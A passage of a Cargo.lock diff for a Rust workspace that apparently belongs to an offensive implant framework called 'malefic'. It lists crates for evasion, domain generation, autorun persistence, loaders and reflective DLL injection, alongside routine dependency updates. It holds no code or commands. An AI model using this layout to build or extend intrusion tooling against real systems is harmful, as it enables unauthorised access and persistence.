+name = "email_address" +version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e079f19b08ca6239f47f8ba8509c11cf3ea30095831f7fed61441475edd8c449" dependencies = [ @@ -1148,7 +1016,7 @@ checksum = "4c6d81016d6c977deefb2ef8d8290da019e27cc26167e102185da528e6c0ab38" dependencies = [ "cc", "memchr", - "rustc_version 0.4.1", + "rustc_version", "toml", "vswhom", "winreg 0.55.0", @@ -1197,6 +1065,18 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "fake" +version = "4.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2b0902eb36fbab51c14eda1c186bda119fcff91e5e4e7fc2dd2077298197ce8" +dependencies = [ + "deunicode", + "dummy", + "either", + "rand 0.9.2", +] + [[package]] name = "fancy-regex" version = "0.14.0" @@ -1208,15 +1088,6 @@ dependencies = [ "regex-syntax", ] -[[package]] -name = "fastrand" -version = "1.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" -dependencies = [ - "instant", -] - [[package]] name = "fastrand" version = "2.3.0" @@ -1236,7 +1107,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e40758ed24c9b2eeb76c35fb0aebc66c626084edd827e07e1552279814c6682d" dependencies = [ "libc", - "thiserror", + "thiserror 1.0.69", "winapi", ] @@ -1252,6 +1123,12 @@ dependencies = [ "windows-sys 0.60.2", ] +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + [[package]] name = "fixedbitset" version = "0.5.7" @@ -1279,6 +1156,27 @@ dependencies = [ "serde", ] +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + [[package]] name = "form_urlencoded" version = "1.2.1" @@ -1298,6 +1196,12 @@ dependencies = [ "num", ] +[[package]] +name = "fs_extra" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" + [[package]] name = "futures" version = "0.3.31" @@ -1346,28 +1250,13 @@ version = "0.3.31" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" -[[package]] -name = "futures-lite" -version = "1.13.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" -dependencies = [ - "fastrand 1.9.0", - "futures-core", - "futures-io", - "memchr", - "parking", - "pin-project-lite", - "waker-fn", -] - [[package]] name = "futures-lite" version = "2.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f78e10609fe0e0b3f4157ffab1876319b5b0db102a2c60dc4626306dc46b44ad" dependencies = [ - "fastrand 2.3.0", + "fastrand", "futures-core", "futures-io", "parking", @@ -1385,6 +1274,17 @@ dependencies = [ "syn 2.0.108", ] +[[package]] +name = "futures-rustls" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f2f12607f92c69b12ed746fabf9ca4f5c482cba46679c1a75b874ed7c26adb" +dependencies = [ + "futures-io", + "rustls", + "rustls-pki-types", +] + [[package]] name = "futures-sink" version = "0.3.31" @@ -1431,17 +1331,6 @@ dependencies = [ "version_check", ] -[[package]] -name = "getrandom" -version = "0.1.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" -dependencies = [ - "cfg-if", - "libc", - "wasi 0.9.0+wasi-snapshot-preview1", -] - [[package]] name = "getrandom" version = "0.2.16" @@ -1465,16 +1354,6 @@ dependencies = [ "wasi 0.14.2+wasi-0.2.4", ] -[[package]] -name = "ghash" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97304e4cd182c3846f7575ced3890c53012ce534ad9114046b0a9e00bb30a375" -dependencies = [ - "opaque-debug", - "polyval", -] - [[package]] name = "gimli" version = "0.28.1" @@ -1510,12 +1389,6 @@ dependencies = [ "scroll", ] -[[package]] -name = "hashbrown" -version = "0.14.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" - [[package]] name = "hashbrown" version = "0.15.5" @@ -1528,12 +1401,6 @@ version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" -[[package]] -name = "hermit-abi" -version = "0.3.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d231dfb89cfffdbc30e7fc41579ed6066ad03abda9e567ccafae602b97ec5024" - [[package]] name = "hermit-abi" version = "0.5.2" @@ -1546,33 +1413,13 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" -[[package]] -name = "hkdf" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "51ab2f639c231793c5f6114bdb9bbe50a7dbbfcd7c7c6bd8475dec2d991e964f" -dependencies = [ - "digest 0.9.0", - "hmac 0.10.1", -] - [[package]] name = "hkdf" version = "0.12.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" dependencies = [ - "hmac 0.12.1", -] - -[[package]] -name = "hmac" -version = "0.10.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1441c6b1e930e2817404b5046f1f989899143a12bf92de603b69f4e0aee1e15" -dependencies = [ - "crypto-mac", - "digest 0.9.0", + "hmac", ] [[package]] @@ -1581,48 +1428,7 @@ version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" dependencies = [ - "digest 0.10.7", -] - -[[package]] -name = "http-client" -version = "6.5.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1947510dc91e2bf586ea5ffb412caad7673264e14bb39fb9078da114a94ce1a5" -dependencies = [ - "async-h1", - "async-std", - "async-tls 0.10.0", - "async-trait", - "cfg-if", - "dashmap", - "deadpool", - "futures", - "http-types", - "log", - "rustls 0.18.1", -] - -[[package]] -name = "http-types" -version = "2.12.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e9b187a72d63adbfba487f48095306ac823049cb504ee195541e91c7775f5ad" -dependencies = [ - "anyhow", - "async-channel 1.9.0", - "async-std", - "base64 0.13.1", - "cookie", - "futures-lite 1.13.0", - "infer", - "pin-project-lite", - "rand 0.7.3", - "serde", - "serde_json", - "serde_qs", - "serde_urlencoded", - "url", + "digest", ] [[package]] @@ -1773,6 +1579,12 @@ dependencies = [ "syn 2.0.108", ] +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + [[package]] name = "idna" version = "1.0.3" @@ -1801,51 +1613,26 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661" dependencies = [ "equivalent", - "hashbrown 0.15.5", + "hashbrown", ] -[[package]] -name = "infer" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64e9829a50b42bb782c1df523f78d332fe371b10c661e78b7a3c34b0198e9fac" - [[package]] name = "inout" version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" dependencies = [ + "block-padding", "generic-array", ] -[[package]] -name = "instant" -version = "0.1.13" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222" -dependencies = [ - "cfg-if", -] - -[[package]] -name = "io-lifetimes" -version = "1.0.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" -dependencies = [ - "hermit-abi 0.3.9", - "libc", - "windows-sys 0.48.0", -] - [[package]] name = "io-uring" version = "0.7.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d93587f37623a1a17d94ef2bc9ada592f5465fe7732084ab7beefabe5c77c0c4" dependencies = [ - "bitflags 2.9.1", + "bitflags 2.11.0", "cfg-if", "libc", ] @@ -1895,6 +1682,16 @@ version = "1.0.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" +[[package]] +name = "jobserver" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9afb3de4395d6b3e67a780b6de64b51c978ecf11cb9a462c66be7d4ca9039d33" +dependencies = [ + "getrandom 0.3.3", + "libc", +] + [[package]] name = "js-sys" version = "0.3.77" @@ -1943,22 +1740,6 @@ name = "lazy_static" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" -dependencies = [ - "spin 0.9.8", -] - -[[package]] -name = "lexical-core" -version = "0.7.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6607c62aa161d23d17a9072cc5da0be67cdfc89d3afb1e8d9c842bebc2525ffe" -dependencies = [ - "arrayvec", - "bitflags 1.3.2", - "cfg-if", - "ryu", - "static_assertions", -] [[package]] name = "libc" @@ -1982,7 +1763,7 @@ version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "416f7e718bdb06000964960ffa43b4335ad4012ae8b99060261aa4a8088d5ccb" dependencies = [ - "bitflags 2.9.1", + "bitflags 2.11.0", "libc", "redox_syscall", ] @@ -1997,12 +1778,6 @@ dependencies = [ "libc", ] -[[package]] -name = "linux-raw-sys" -version = "0.3.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" - [[package]] name = "linux-raw-sys" version = "0.9.4" @@ -2015,16 +1790,6 @@ version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "643cb0b8d4fcc284004d5fd0d67ccf61dfffadb7f75e1e71bc420f4688a3a704" -[[package]] -name = "lock_api" -version = "0.4.13" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "96936507f153605bddfcda068dd804796c84324ed2510809e5b2a624c81da765" -dependencies = [ - "autocfg", - "scopeguard", -] - [[package]] name = "log" version = "0.4.27" @@ -2058,17 +1823,31 @@ name = "malefic" version = "0.1.1" dependencies = [ "anyhow", - "cfg-if", + "async-net", + "async-trait", "embed-resource", "futures", + "futures-rustls", "futures-timer", - "lazy_static", - "malefic-core", - "malefic-helper", - "malefic-prelude", + "hmac", + "malefic-autorun", + "malefic-common", + "malefic-config", + "malefic-evader", + "malefic-features", + "malefic-gateway", + "malefic-guardrail", + "malefic-os-win", "malefic-proto", - "obfstr", - "regex", + "malefic-scheduler", + "malefic-stub", + "malefic-sysinfo", + "malefic-transport", + "md-5", + "rustls", + "rustls-pemfile", + "sha2", + "thiserror 2.0.18", "tokio", ] @@ -2078,163 +1857,347 @@ version = "0.1.1" dependencies = [ "anyhow", "async-trait", - "detour", "futures", + "futures-channel", "futures-timer", "libc", - "malefic-helper", + "malefic-features", + "malefic-gateway", + "malefic-module", "malefic-proto", - "malefic-trait", - "obfstr", + "malefic-rem", + "malefic-runtime", "portable-pty", - "surf", - "winapi", + "ureq", ] [[package]] -name = "malefic-core" -version = "0.1.1" +name = "malefic-autorun" +version = "0.1.0" dependencies = [ "anyhow", - "async-net", - "async-std", - "async-tls 0.12.0", - "async-trait", - "base64 0.22.1", - "cfg-if", - "chrono", "futures", - "futures-timer", - "httparse", - "lazy_static", - "malefic-3rd", - "malefic-helper", + "malefic-common", + "malefic-config", + "malefic-crypto", + "malefic-gateway", + "malefic-manager", "malefic-modules", "malefic-proto", - "obfstr", - "rustls 0.20.9", - "rustls-pemfile", - "sha2 0.10.9", - "smol", - "strum", - "strum_macros", - "thiserror", - "tokio", - "url", - "webpki-roots 0.22.6", ] [[package]] -name = "malefic-helper" -version = "0.1.1" +name = "malefic-codec" +version = "0.1.0" dependencies = [ - "anyhow", - "async-process", - "bindgen", - "byteorder", - "detour", - "libc", - "mac_address", - "nix 0.26.4", - "num-traits", - "obfstr", - "sha2 0.10.9", - "strum", - "strum_macros", - "thiserror", - "users", - "windows", - "wmi", + "aes", + "cbc", + "chacha20", + "cipher", + "des", + "ecb", + "malefic-common", + "malefic-gateway", + "sha2", ] [[package]] -name = "malefic-modules" -version = "0.1.1" +name = "malefic-common" +version = "0.1.0" dependencies = [ "anyhow", + "async-std", "async-trait", "futures", "futures-timer", - "lazy_static", - "malefic-helper", - "malefic-proto", - "malefic-trait", - "obfstr", - "prost-build", - "tar", - "thiserror", + "getrandom 0.2.16", + "libc", + "malefic-gateway", + "nanorand", + "smol", + "thiserror 2.0.18", "tokio", ] [[package]] -name = "malefic-mutant" -version = "0.1.1" +name = "malefic-config" +version = "0.1.0" dependencies = [ - "anyhow", "base64 0.22.1", - "byteorder", + "malefic-common", + "malefic-gateway", +] + +[[package]] +name = "malefic-cron" +version = "0.1.0" +dependencies = [ "chrono", - "clap", - "colored", - "duct", - "embed-resource", - "goblin", - "hex", - "jsonschema", - "lazy_static", - "log", + "cron", + "malefic-common", +] + +[[package]] +name = "malefic-crypto" +version = "0.1.0" +dependencies = [ + "aes", + "age", + "cfg-if", + "chacha20", + "ctr", + "snap", + "thiserror 2.0.18", +] + +[[package]] +name = "malefic-dga" +version = "0.1.0" +dependencies = [ + "chrono", + "malefic-common", + "malefic-config", + "malefic-gateway", + "sha2", + "thiserror 2.0.18", +] + +[[package]] +name = "malefic-evader" +version = "0.1.0" +dependencies = [ + "malefic-common", + "malefic-gateway", + "malefic-os-win", + "malefic-process", +] + +[[package]] +name = "malefic-features" +version = "0.1.0" +dependencies = [ + "malefic-common", + "malefic-gateway", + "malefic-os-win", +] + +[[package]] +name = "malefic-gateway" +version = "0.1.0" +dependencies = [ + "malefic-macro", + "nanorand", +] + +[[package]] +name = "malefic-guardrail" +version = "0.1.0" +dependencies = [ + "malefic-config", + "malefic-sysinfo", + "regex", +] + +[[package]] +name = "malefic-loader" +version = "0.1.0" +dependencies = [ + "anyhow", + "bindgen", + "libc", + "malefic-common", + "malefic-features", + "malefic-gateway", + "malefic-os-win", + "nix 0.26.4", + "windows", +] + +[[package]] +name = "malefic-macro" +version = "0.1.1" +dependencies = [ + "aes", + "const-random", + "ctr", + "proc-macro2", + "quote", + "rand 0.8.5", + "syn 2.0.108", +] + +[[package]] +name = "malefic-manager" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "malefic-common", + "malefic-config", + "malefic-crypto", + "malefic-gateway", + "malefic-module", + "malefic-proto", + "malefic-runtime", + "strum", + "strum_macros", +] + +[[package]] +name = "malefic-module" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "malefic-common", + "malefic-gateway", + "malefic-proto", + "prost", + "thiserror 2.0.18", +] + +[[package]] +name = "malefic-modules" +version = "0.1.1" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "futures-timer", + "malefic-common", + "malefic-features", + "malefic-gateway", + "malefic-loader", + "malefic-module", + "malefic-net", + "malefic-os-win", + "malefic-process", + "malefic-proto", + "malefic-sysinfo", + "sha2", + "tar", + "tokio", +] + +[[package]] +name = "malefic-mutant" +version = "0.1.1" +dependencies = [ + "anyhow", + "base64 0.22.1", + "byteorder", + "chrono", + "clap", + "colored", + "const-random", + "crc32fast", + "duct", + "embed-resource", + "fake", + "goblin", + "hex", + "jsonschema", + "log", + "malefic-codec", + "malefic-common", + "malefic-config", + "malefic-crypto", + "malefic-gateway", "malefic-proto", + "proc-macro2", "prost", + "quote", "rand 0.8.5", "regex", + "rustls", "serde", "serde_json", "serde_yaml", "strum", "strum_macros", - "thiserror", + "syn 2.0.108", + "thiserror 2.0.18", "toml_edit", "url", "walkdir", + "webpki-roots 0.26.11", "zip", ] +[[package]] +name = "malefic-net" +version = "0.1.0" +dependencies = [ + "anyhow", + "byteorder", + "libc", + "malefic-common", + "malefic-gateway", + "nix 0.26.4", + "windows", +] + +[[package]] +name = "malefic-os-win" +version = "0.1.0" +dependencies = [ + "anyhow", + "bindgen", + "detour", + "malefic-common", + "malefic-gateway", + "malefic-process", + "quote", + "strum", + "strum_macros", + "syn 2.0.108", + "thiserror 2.0.18", + "tokio", + "windows", + "windows-core 0.58.0", +] + [[package]] name = "malefic-prelude" version = "0.1.1" dependencies = [ "anyhow", "embed-resource", - "futures", - "lazy_static", - "malefic-core", - "malefic-helper", - "malefic-modules", - "malefic-proto", + "malefic-autorun", +] + +[[package]] +name = "malefic-process" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-process", + "libc", + "malefic-common", + "malefic-gateway", + "nix 0.26.4", "tokio", + "windows", ] [[package]] name = "malefic-proto" version = "0.1.0" dependencies = [ - "aes 0.8.4", - "age", "anyhow", - "async-trait", "cfg-if", - "chacha20", - "chrono", - "cron", - "ctr 0.9.2", - "futures-channel", + "malefic-common", + "malefic-crypto", + "malefic-gateway", "nanorand", "prost", "prost-build", - "rand 0.8.5", "serde", - "snap", - "thiserror", + "thiserror 2.0.18", ] [[package]] @@ -2242,12 +2205,133 @@ name = "malefic-pulse" version = "0.1.1" [[package]] -name = "malefic-trait" -version = "0.1.1" +name = "malefic-rem" +version = "0.1.0" dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.108", + "cc", + "malefic-common", +] + +[[package]] +name = "malefic-runtime" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-channel", + "malefic-common", + "malefic-gateway", + "malefic-loader", + "malefic-macro", + "malefic-module", + "malefic-proto", + "tokio", +] + +[[package]] +name = "malefic-scheduler" +version = "0.1.0" +dependencies = [ + "anyhow", + "futures", + "futures-timer", + "malefic-common", + "malefic-config", + "malefic-cron", + "malefic-crypto", + "malefic-module", + "malefic-proto", + "prost", +] + +[[package]] +name = "malefic-srdi" +version = "0.1.0" +dependencies = [ + "winapi", + "windows-sys 0.59.0", +] + +[[package]] +name = "malefic-stub" +version = "0.1.0" +dependencies = [ + "anyhow", + "futures", + "futures-timer", + "hmac", + "malefic-3rd", + "malefic-common", + "malefic-config", + "malefic-cron", + "malefic-crypto", + "malefic-gateway", + "malefic-manager", + "malefic-module", + "malefic-modules", + "malefic-proto", + "malefic-scheduler", + "malefic-sysinfo", + "malefic-transport", + "sha2", +] + +[[package]] +name = "malefic-sysinfo" +version = "0.1.0" +dependencies = [ + "anyhow", + "libc", + "mac_address", + "malefic-common", + "malefic-net", + "malefic-os-win", + "malefic-process", + "nix 0.26.4", + "obfstr", + "sha2", + "windows", +] + +[[package]] +name = "malefic-transport" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-native-tls", + "async-net", + "async-trait", + "base64 0.22.1", + "cfg-if", + "futures", + "futures-rustls", + "futures-timer", + "httparse", + "malefic-common", + "malefic-config", + "malefic-crypto", + "malefic-dga", + "malefic-gateway", + "malefic-proto", + "malefic-rem", + "md-5", + "rustls", + "rustls-pemfile", + "thiserror 2.0.18", + "tokio", + "url", + "webpki-roots 0.26.11", +] + +[[package]] +name = "md-5" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +dependencies = [ + "cfg-if", + "digest", ] [[package]] @@ -2283,22 +2367,6 @@ dependencies = [ "autocfg", ] -[[package]] -name = "mime" -version = "0.3.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" - -[[package]] -name = "mime_guess" -version = "2.0.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e" -dependencies = [ - "mime", - "unicase", -] - [[package]] name = "minimal-lexical" version = "0.2.1" @@ -2357,6 +2425,23 @@ version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" +[[package]] +name = "native-tls" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8614eb2c83d59d1c8cc974dd3f920198647674a0a035e1af1fa58707e317466" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + [[package]] name = "nix" version = "0.25.1" @@ -2390,24 +2475,13 @@ version = "0.29.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" dependencies = [ - "bitflags 2.9.1", + "bitflags 2.11.0", "cfg-if", "cfg_aliases", "libc", "memoffset 0.9.1", ] -[[package]] -name = "nom" -version = "5.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "08959a387a676302eebf4ddbcbc611da04285579f76f88ee0506c63b1a61dd4b" -dependencies = [ - "lexical-core", - "memchr", - "version_check", -] - [[package]] name = "nom" version = "7.1.3" @@ -2497,16 +2571,6 @@ dependencies = [ "autocfg", ] -[[package]] -name = "num_cpus" -version = "1.17.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91df4bbde75afed763b708b7eee1e8e7651e02d97f6d5dd763e89367e957b23b" -dependencies = [ - "hermit-abi 0.5.2", - "libc", -] - [[package]] name = "obfstr" version = "0.4.4" @@ -2540,6 +2604,50 @@ version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" +[[package]] +name = "openssl" +version = "0.10.75" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08838db121398ad17ab8531ce9de97b244589089e290a384c900cb9ff7434328" +dependencies = [ + "bitflags 2.11.0", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "openssl-probe" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" + +[[package]] +name = "openssl-sys" +version = "0.9.111" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82cab2d520aa75e3c58898289429321eb788c3106963d0dc886ec7a5f4adc321" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + [[package]] name = "os_pipe" version = "1.2.2" @@ -2559,21 +2667,6 @@ checksum = "1a80800c0488c3a21695ea981a54918fbb37abf04f4d0720c453632255e2ff0e" [[package]] name = "parking" version = "2.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" - -[[package]] -name = "parking_lot_core" -version = "0.9.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc838d2a56b5b1a6c25f55575dfc605fabb63bb2365f6c2353ef9159aa69e4a5" -dependencies = [ - "cfg-if", - "libc", - "redox_syscall", - "smallvec", - "windows-targets 0.52.6", -] [[package]] name = "pbkdf2" @@ -2581,8 +2674,8 @@ version = "0.12.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" dependencies = [ - "digest 0.10.7", - "hmac 0.12.1", + "digest", + "hmac", ] [[package]] @@ -2640,7 +2733,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "96c8c490f422ef9a4efd2cb5b42b76c8613d7e7dfc1caf667b8a3350a5acc066" dependencies = [ "atomic-waker", - "fastrand 2.3.0", + "fastrand", "futures-io", ] @@ -2656,22 +2749,6 @@ version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" -[[package]] -name = "polling" -version = "2.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" -dependencies = [ - "autocfg", - "bitflags 1.3.2", - "cfg-if", - "concurrent-queue", - "libc", - "log", - "pin-project-lite", - "windows-sys 0.48.0", -] - [[package]] name = "polling" version = "3.10.0" @@ -2680,9 +2757,9 @@ checksum = "b5bd19146350fe804f7cb2669c851c03d69da628803dab0d98018142aaa5d829" dependencies = [ "cfg-if", "concurrent-queue", - "hermit-abi 0.5.2", + "hermit-abi", "pin-project-lite", - "rustix 1.0.8", + "rustix", "windows-sys 0.60.2", ] @@ -2694,18 +2771,7 @@ checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" dependencies = [ "cpufeatures", "opaque-debug", - "universal-hash 0.5.1", -] - -[[package]] -name = "polyval" -version = "0.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eebcc4aa140b9abd2bc40d9c3f7ccec842679cd79045ac3a7ac698c1a064b7cd" -dependencies = [ - "cpuid-bool", - "opaque-debug", - "universal-hash 0.4.0", + "universal-hash", ] [[package]] @@ -2748,12 +2814,6 @@ dependencies = [ "syn 2.0.108", ] -[[package]] -name = "proc-macro-hack" -version = "0.5.20+deprecated" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" - [[package]] name = "proc-macro2" version = "1.0.95" @@ -2766,8 +2826,7 @@ dependencies = [ [[package]] name = "prost" version = "0.14.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7231bd9b3d3d33c86b58adbac74b5ec0ad9f496b19d22801d773636feaa95f3d" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" dependencies = [ "bytes", "prost-derive", @@ -2776,8 +2835,7 @@ dependencies = [ [[package]] name = "prost-build" version = "0.14.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac6c3320f9abac597dcbc668774ef006702672474aad53c6d596b62e487b40b1" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" dependencies = [ "heck", "itertools 0.14.0", @@ -2796,8 +2854,7 @@ dependencies = [ [[package]] name = "prost-derive" version = "0.14.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9120690fafc389a67ba3803df527d0ec9cbbc9cc45e4cc20b332996dfb672425" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" dependencies = [ "anyhow", "itertools 0.14.0", @@ -2809,8 +2866,7 @@ dependencies = [ [[package]] name = "prost-types" version = "0.14.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9b4db3d6da204ed77bb26ba83b6122a73aeb2e87e25fbf7ad2e84c4ccbf8f72" +source = "git+https://github.com/chainreactors/prost.git?branch=skip-field-names-v0.14.1#0cb360d542f4f80774b98da0788ba233d39b05e4" dependencies = [ "prost", ] @@ -2830,19 +2886,6 @@ version = "5.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" -[[package]] -name = "rand" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" -dependencies = [ - "getrandom 0.1.16", - "libc", - "rand_chacha 0.2.2", - "rand_core 0.5.1", - "rand_hc", -] - [[package]] name = "rand" version = "0.8.5" @@ -2855,13 +2898,13 @@ dependencies = [ ] [[package]] -name = "rand_chacha" -version = "0.2.2" +name = "rand" +version = "0.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +checksum = "6db2770f06117d490610c7488547d543617b21bfa07796d7a12f6f1bd53850d1" dependencies = [ - 